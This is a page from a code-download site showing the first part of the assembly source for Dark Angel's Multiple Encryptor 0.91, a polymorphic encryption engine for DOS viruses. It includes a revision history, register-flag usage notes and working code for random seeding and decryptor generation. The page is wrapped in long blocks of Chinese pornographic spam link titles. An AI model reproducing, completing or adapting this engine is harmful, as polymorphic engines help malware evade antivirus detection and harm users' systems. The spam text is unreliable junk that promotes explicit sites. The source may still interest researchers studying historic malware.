亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? dame091.asm

?? More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
?? ASM
?? 第 1 頁 / 共 5 頁
字號:
comment #

                        Dark Angel's Multiple Encryptor
                                 Version 0.91
                        By Dark Angel of Phalcon/Skism

        This source may be freely distributed.  Modifications are
        encouraged and modified redistribution is allowed provided
        this notice and the revision history to date are not altered.
        You are free to append to the revision history and update the
        usage information.

 Welcome to the source code for Dark Angel's Multiple Encryptor.
 I, Dark Angel, will be your host for this short excursion through
 a pretty nifty encryptor.

 DAME 0.90 (1574 bytes)
 ~~~~ ~~~~ ~~~~~~~~~~~~
   Initial release.

 DAME 0.91 (1960 bytes)
 ~~~~ ~~~~ ~~~~~~~~~~~~
   Source code commented.

   The user no longer needs to call the encryption routine manually;
   the routine calls it automatically.  This makes DAME a bit more
   "user friendly."

   Garbling with two pointer registers simultaneously, i.e. [bx+di+offset]
   is now supported.

   Added "double-reference" encryptions.  Example:
        mov     ax,[bx+3212]
        xor     ax,3213
        mov     [bx+3212],ax

   There is now a bitflag option to generate a decryptor which will transfer
   control to the buffer on a paragraph boundary.

   There is now a 1% chance that no encryption will be encoded when
   the "do_encrypt1" routine is called.  Of course, null effect
   encryptors may still be generated.

   garble_jmpcond is much more robust.  It can now put valid instructions
   between the conditional jump and the target of the jump.  Therefore,
   there is no longer a multitude of JZ $+2's and the like.  Instead, they
   are replaced by JZ $+4, XOR BX,BX, for example.

   The register tracker is cleared after the loop is completed.  This makes
   sense, since the registers are no longer needed.  This also allows for the
   manipulation of those used registers in the garbling after the loop is
   completed.

   Encoding routines enhanced: Two-byte PUSHes and POPs and four-byte register
   MOVes added.  Memory PUSHes and POPs are now supported.

   The maximum nesting value is now the variable _maxnest, which can range
   from 0 to MAXNEST.  _maxnest is determined randomly at runtime.  This makes
   the decryption routines a bit more interesting.  _nest is also cleared more
   times during the run so that variability is continuous throughout.

   Short decryptor option added.  This is automatically used when generating
   the encryptor so the encryptor will always be of minimal length.

   More alignments are now possible.  This makes the initial values of the
   registers more flexible.

   BUG FIXES:

   BP is now preserved on exit

   Prefetch queue flushed on backwards encryption; 386+ hangs eliminated.
   See routine named "clear_PIQ"

   Loopnz routines had possibility of not working properly; instruction
   eliminated.

   NOTES:

   I forgot to give credit to the person from whom I stole the random number
   routines.  I took them from the routine embedded in TPE 1.x (I misremember
   the version number).  Many thanks to Masud Khafir!

   USAGE:

   ON ENTRY:
     ax = flags
       bit 15 : Use two registers for pointer : 0 = no, 1 = yes
       bit 14 : Align size : 0 = word, 1 = dword
       bit 13 : Encryption direction : 0 = forwards, 1 = backwards
       bit 12 : Counter direction : 0 = forwards, 1 = backwards
       bit 11 : Counter register used : 0 = no, 1 = yes
       bit 10 : Temporary storage for double reference
       bit  9 : Unused
       bit  8 : Unused
       bit  7 : Unused
       bit  6 : Unused
       bit  5 : Unused
       bit  4 : Unused
       bit  3 : return control on paragraph boundary : 1 = yes, 0 = no
       bit  2 : short decryptor : 1 = yes, 0 = no (implies no garbling)
       bit  1 : garble : 1 = yes, 0 = no
       bit  0 : SS = DS = CS : 1 = yes, 0 = no
     bx = start decrypt in carrier file
     cx = encrypt length
     dx = start encrypt
     si = buffer to put decryption routine
     di = buffer to put encryption routine

     ds = cs on entry
     es = cs on entry

   RETURNS:
     cx = decryption routine length
     DF cleared
     all other registers are preserved.
     The RADIX is set to 16d.

   NOTES:

   rnd_init_seed is _not_ called by DAME.  The user must explicitly call it.

   The buffer containing the routine to be encrypted should be 20 bytes
   larger than the size of the routine.  This allows padding to work.

   The decryption routine buffer should be rather large to accomodate the
   large decryptors which may be generated.

   The encryption routine buffer need not be very large; 80h bytes should
   suffice.  90d bytes is probably enough, but this value is untested.
#

.radix 10h

ifndef vars
        vars = 2
endif

if not vars eq 1        ; if (vars != 1)

_ax = 0
_cx = 1
_dx = 2
_bx = 3
_sp = 4
_bp = 5
_si = 6
_di = 7

_es = 8
_cs = 9
_ss = 0a
_ds = 0bh

; The constant MAXNEST determines the maximum possible level of nesting
; possible in any generated routine.  If the value is too large, then
; recursion problems will cause a stack overflow and the program will
; crash.  So don't be too greedy.  0Ah is a safe value to use for non-
; resident viruses.  Use smaller values for resident viruses.
ifndef MAXNEST          ; User may define MAXNEST prior to including
        MAXNEST = 0a    ; the DAME source code. The user's value will
endif                   ; then take precedence

rnd_init_seed:
        push    dx cx bx
        mov     ah,2C                   ; get time
        int     21

        in      al,40                   ; port 40h, 8253 timer 0 clock
        mov     ah,al
        in      al,40                   ; port 40h, 8253 timer 0 clock
        xor     ax,cx
        xor     dx,ax
        jmp     short rnd_get_loop_done
get_rand:
        push    dx cx bx
        in      al,40                   ; get from timer 0 clock
        db      5 ; add ax, xxxx
rnd_get_patch1  dw      0
                db      0BA  ; mov dx, xxxx
rnd_get_patch2  dw      0
        mov     cx,7

rnd_get_loop:
        shl     ax,1
        rcl     dx,1
        mov     bl,al
        xor     bl,dh
        jns     rnd_get_loop_loc
        inc     al
rnd_get_loop_loc:
        loop    rnd_get_loop

rnd_get_loop_done:
        mov     rnd_get_patch1,ax
        mov     rnd_get_patch2,dx
        mov     al,dl
        pop     bx cx dx
        retn

reg_table1:
              ; reg1 reg2 mod/00/rm   This is used to handle memory addressing
        db       _bx, 84, 10000111b ; of the form [reg1+reg2+xxxx]
        db       _bp, 84, 10000110b ; if (reg2 == 84)
        db       _di, 84, 10000101b ;    reg2 = NULL;
        db       _si, 84, 10000100b

        db      _bp, _di, 10000011b
        db      _bp, _si, 10000010b
        db      _bx, _di, 10000001b
        db      _bx, _si, 10000000b
        db      _di, _bp, 10000011b
        db      _si, _bp, 10000010b
        db      _di, _bx, 10000001b
        db      _si, _bx, 10000000b

aligntable      db      3,7,0bh,0f,13,17,1bh,1f ; possible alignment masks

redo_dame:
        pop     di bp si dx cx bx ax
dame:   ; Dark Angel's Multiple Encryptor
        cld
        push    ax bx cx dx si bp di
        call    _dame
        pop     di
        push    cx di
        call    di
        pop     di cx bp si dx bx bx ax
        ret

_dame:  ; set up initial values of the variables
        cld
        push    ax

        mov     ax,offset _encryptpointer
        xchg    ax,di                           ; save the pointer to the
        stosw                                   ; encryption routine buffer
        xchg    si,ax                           ; also save the pointer to
        stosw                                   ; the decryption routine
                                                ; buffer in the same manner
        stosw

        xchg    ax,dx                           ; starting offset of
        stosw                                   ; encryption
        xchg    ax,bx                           ; starting offset of
        stosw                                   ; decryption routine

        xchg    cx,dx                           ; dx = encrypt size

        xor     ax,ax
        mov     cx,(endclear1 - beginclear1) / 2; clear additional data
        rep     stosw                           ; area

        call    get_rand                        ; get a random number
        and     ax,not 0f                       ; clear user-defined bits

        pop     cx                              ; cx = bitmask
        xor     cx,ax                           ; randomize top bits

        call    get_rand_bx                     ; get a random number
        and     bx,7                            ; and lookup in the table
        mov     al,byte ptr [bx+aligntable]     ; for a random rounding size
        cbw
        add     dx,ax                           ; round the encryption
        not     ax                              ; size to next word, dword,
        and     dx,ax                           ; etc.

        mov     ax,dx                           ; save the new encryption
        stosw                                   ; length (_encrypt_length)

        shr     ax,1                            ; convert to words
        test    ch,40                           ; encrypting double wordly?
        jz      word_encryption                 ; nope, only wordly encryption
        shr     ax,1                            ; convert to double words
word_encryption:                                ; all the worldly encryption
        test    ch,10                           ; shall do thee no good, my
        jnz     counter_backwards               ; child, lest you repent for
        neg     ax                              ; the sins of those who would
counter_backwards:                              ; bring harm unto others
        stosw                                   ; save _counter_value
        push    dx                              ; Save rounded length

        call    get_rand                        ; get a random value for the
        stosw                                   ; encryption value
                                                ; (_decrypt_value)
        pop     ax                              ; get rounded encryption length
                                                ; in bytes
        test    ch,20                           ; is the encryption to run
        jnz     encrypt_forwards                ; forwards or backwards?
        neg     ax                              ; Adjust for forwards
encrypt_forwards:
        xor     bx,bx                           ; Assume pointer_value2 = 0

        test    ch,80                           ; Dual pointer registers?
        jz      no_dual
        call    get_rand_bx
        sub     ax,bx
no_dual:stosw                                   ; Save the pointers to the
        xchg    ax,bx                           ; decryption (_pointer_value1
        stosw                                   ; and _pointer_value2)

; The following lines determine the registers that go with each function.
; There are a maximum of four variable registers in each generated
; encryption/decryption routine pair -- the counter, two pointer registers,
; and an encryption value register.  Only one pointer register need be present
; in the pair; the other three registers are present only if they are needed.

s0:     call    clear_used_regs                 
        mov     di,offset _counter_reg
        mov     al,84                           ; Assume no counter register
        test    ch,8                            ; Using a counter register?

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
久久久久国产精品免费免费搜索| 91免费在线看| 日韩精品亚洲专区| 亚洲一区免费在线观看| 亚洲欧洲成人精品av97| 国产精品情趣视频| 国产精品成人一区二区三区夜夜夜 | 制服丝袜一区二区三区| 欧美久久久久久久久| 8v天堂国产在线一区二区| 欧美精品久久久久久久多人混战| 欧美在线啊v一区| 欧美三级电影在线看| 91精品国模一区二区三区| 91精品国模一区二区三区| 久久亚洲二区三区| 中文字幕乱码亚洲精品一区| 中文字幕在线视频一区| 亚洲免费观看高清在线观看| 亚洲永久精品国产| 蜜臀av性久久久久蜜臀aⅴ流畅| 免费的成人av| 国产成人av影院| 91极品美女在线| 日韩视频在线永久播放| 国产拍揄自揄精品视频麻豆| 中文字幕制服丝袜一区二区三区| 亚洲电影中文字幕在线观看| 久久99精品久久久久久动态图| 国产福利不卡视频| 欧美在线小视频| 久久伊99综合婷婷久久伊| 国产精品久久久久aaaa樱花| 亚洲成人免费影院| 国产99久久久国产精品免费看| 91视频国产观看| 欧美成人一区二区三区| 亚洲少妇中出一区| 麻豆专区一区二区三区四区五区| 不卡一区二区中文字幕| 8v天堂国产在线一区二区| 国产精品久久久久9999吃药| 男人的j进女人的j一区| 色综合久久88色综合天天| 欧美zozozo| 亚洲一区二区三区小说| 粉嫩av一区二区三区| 欧美丰满高潮xxxx喷水动漫| 国产精品久久久久久一区二区三区 | 国产原创一区二区| 欧美日韩一区二区欧美激情| 欧美国产禁国产网站cc| 日韩精品一级二级 | 欧美乱妇20p| 亚洲色欲色欲www| 国产高清无密码一区二区三区| 欧美日韩精品一二三区| 1024成人网色www| 国产激情视频一区二区三区欧美 | 国产精品中文欧美| 制服丝袜一区二区三区| 亚洲一区二区三区小说| 色婷婷综合五月| ...xxx性欧美| 国产精品99久久久久久宅男| 欧美一区国产二区| 日韩电影在线一区二区三区| 日本丶国产丶欧美色综合| 国产精品麻豆视频| 国产精品一区二区不卡| 2021国产精品久久精品| 婷婷成人激情在线网| 欧美性猛交一区二区三区精品 | 亚洲日本韩国一区| 成人午夜电影网站| 国产精品美女一区二区| 成人性色生活片免费看爆迷你毛片| 日韩三级在线观看| 捆绑变态av一区二区三区 | 久久国产精品色| 日韩亚洲电影在线| 激情久久五月天| 精品美女被调教视频大全网站| 免费观看一级欧美片| 日韩精品一区二区三区swag| 九九九久久久精品| 久久久亚洲综合| 国产精品99久久久| 亚洲欧美中日韩| 色94色欧美sute亚洲线路一ni| 一区二区视频在线看| 欧美色图激情小说| 久久精品国产秦先生| 久久嫩草精品久久久久| 菠萝蜜视频在线观看一区| 亚洲色图清纯唯美| 欧美日韩一区不卡| 精品一二三四区| 国产免费久久精品| 色噜噜狠狠色综合中国| 首页国产丝袜综合| 久久久国产一区二区三区四区小说 | 日韩国产精品大片| 精品国产亚洲一区二区三区在线观看| 国内精品国产成人国产三级粉色| 久久久久久久久久看片| 99精品欧美一区二区蜜桃免费| 一区二区在线观看av| 精品国产亚洲在线| 日本久久电影网| 日本亚洲三级在线| 国产精品高清亚洲| 欧美一区二区三区婷婷月色| 粉嫩久久99精品久久久久久夜| 亚洲国产日韩a在线播放性色| 日韩精品在线一区| 99久久精品国产观看| 美女视频网站黄色亚洲| 自拍偷拍欧美激情| 精品久久久久久久久久久院品网| 99久久国产免费看| 激情伊人五月天久久综合| 一区二区三区色| 国产欧美一二三区| 欧美一区二区三区视频在线| 99精品视频一区| 国产成人高清在线| 理论片日本一区| 亚洲自拍偷拍网站| 中文字幕永久在线不卡| 久久综合久色欧美综合狠狠| 欧美色网一区二区| 91麻豆精品在线观看| 国产成人av自拍| 国产麻豆视频一区二区| 日韩vs国产vs欧美| 亚洲成a人v欧美综合天堂下载| 国产精品久久久久久久久搜平片| 精品国产一区二区三区忘忧草 | 亚洲综合视频在线观看| 国产清纯白嫩初高生在线观看91 | 91网站在线观看视频| 国产成人在线网站| 久久国产精品99久久人人澡| 亚洲国产一二三| 中文字幕亚洲在| 欧美激情一区不卡| 国产亚洲欧美色| 亚洲精品一区二区在线观看| 欧美一区二区三区在线电影| 欧美精品成人一区二区三区四区| 一本色道久久综合亚洲精品按摩| 成人黄色大片在线观看| 懂色av中文一区二区三区 | 亚洲欧美偷拍另类a∨色屁股| 国产目拍亚洲精品99久久精品| 欧美精品一区二区三区四区| 日韩欧美在线一区二区三区| 欧美日本高清视频在线观看| 欧美区在线观看| 制服视频三区第一页精品| 制服.丝袜.亚洲.中文.综合| 欧美精品v国产精品v日韩精品 | 欧美成人乱码一区二区三区| 日韩一区二区在线观看视频播放| 欧美三级在线视频| 3d动漫精品啪啪一区二区竹菊| 欧美电影免费观看高清完整版在| 日韩视频免费观看高清完整版| 精品少妇一区二区三区在线视频| 精品福利av导航| 日本一区二区三区在线观看| 专区另类欧美日韩| 亚洲午夜在线观看视频在线| 日韩国产欧美在线视频| 国产专区综合网| 北岛玲一区二区三区四区| 99国产精品视频免费观看| 欧美色区777第一页| 日韩一级欧美一级| 亚洲国产成人在线| 亚洲在线观看免费| 国产精品18久久久久久久久久久久 | 久久久久久久久蜜桃| 一区二区高清在线| 轻轻草成人在线| 成人91在线观看| 制服.丝袜.亚洲.中文.综合| 国产欧美va欧美不卡在线| 一区二区激情小说| 国内精品久久久久影院薰衣草| 91日韩精品一区| 在线播放中文字幕一区| 国产欧美日韩精品a在线观看| 亚洲精品欧美在线| 精品制服美女丁香| 色综合色狠狠天天综合色| 欧美丰满一区二区免费视频 | 色综合久久久久久久| 日韩一区二区麻豆国产|